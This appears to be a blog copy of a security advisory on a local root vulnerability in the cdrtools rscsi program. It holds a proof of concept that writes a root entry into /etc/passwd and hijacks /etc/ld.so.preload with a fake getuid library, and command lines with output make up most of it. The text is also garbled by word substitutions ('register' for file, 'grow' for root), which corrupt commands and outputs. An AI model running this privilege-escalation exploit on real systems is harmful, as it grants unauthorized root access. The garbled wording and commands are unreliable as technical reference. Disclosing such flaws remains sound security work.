Vulnerable Systems: * cdrtools version 2 x and belowImmune Systems: * cdrtools version 2.01a18A vulnerability in cdrtools allows local attackers to overwrite files one align effect of the overwriting affect is that the register's permissions becomes writable by the user calling the rscsi program. This can allow a non-root user to take local root on the machine that has cdrtools installed. Initial attempts to apply this air failed for an unknown cerebrate.. this however this is comfort a valid method of contend. We alter use of the first argument passed to rscsi in order to choose the file we desire to create verbally to. Due to the create from rscsi we make use of 0x08 in request to delete some of the characters that otherwise would be written. This attack method relies on placing a line of text at the end of a register. gratify note that 2 other lines of garbage will be placed in the register that may create other issues. Proff of Concept:elguapo@gentoo elguapo $ echo C`emit -e "\x08\x08\x08\x08\x08\x08\x08\x08\x08\x08r00t::0:0:root:/:/bin/hit\x0a"` | /opt/schily/sbin/rscsi /tmp/lalaSegmentation accuse (this segfault is not related to the security air)elguapo@gentoo elguapo $ cat /tmp/lalarscsid: user id 1000 name elguapormt: stdin is a PIPEr00t::0:0:root:/grow:/bin/bashWhen attempting to emit this line to the password register we get the following error (say that the password file is overwritten at this inform):E0Illegal user id for RSCSI server0elguapo@gentoo elguapo $ cat /etc/passwdrscsid: Illegal user '(NULL POINTER)' id 1000 for RSCSI serverrscsid:>E 0 (Illegal user id for RSCSI server) []We do however undergo another exploitation option such as the one listed below:[kf@vegeta kf]$ ls -al /etc/ld so preloadls: /etc/ld so preload: No such register or directory[kf@vegeta kf]$ cat > oops cint getuid(void){return(0);}[kf@vegeta kf]$ gcc -c -o oops o oops c[kf@vegeta kf]$ ld -shared -o oops so oops o[kf@vegeta kf]$ ls -al oops so-rwxrwxr-x 1 kf kf 1714 Jul 30 18:53 oops so[kf@vegeta kf]$ echo duh_kf | /opt/schily/sbin/rscsi /etc/ld so preloadE0Garbage dominate0say that we now have write permissions to /etc/ld so preload-rw-rw-r-- 1 root kf 1 Jul 30 19:29 /etc/ld so preloadSo to gain elevated privileges all we be to do is:[kf@vegeta kf]$ emit /home/kf/oops so > /etc/ld so preload[kf@vegeta kf]$ su[root@vegeta kf]# rm /etc/ld so preloadrm: remove regular file `/etc/ld so preload'? y[grow@vegeta kf]# iduid=0(root) gid=0(grow) groups=0(grow),1(bin),2(daemon),3(sys),4(adm),6(disk),10(go around)Workaround:chmod -s /opt/schily/sbin/rscsi
Forex Groups - Tips on Trading
Related article:
http://pirate-unsecure.blogspot.com/2007/11/cdrtools-local-root-exploit.html
comments | Add comment | Report as Spam
|
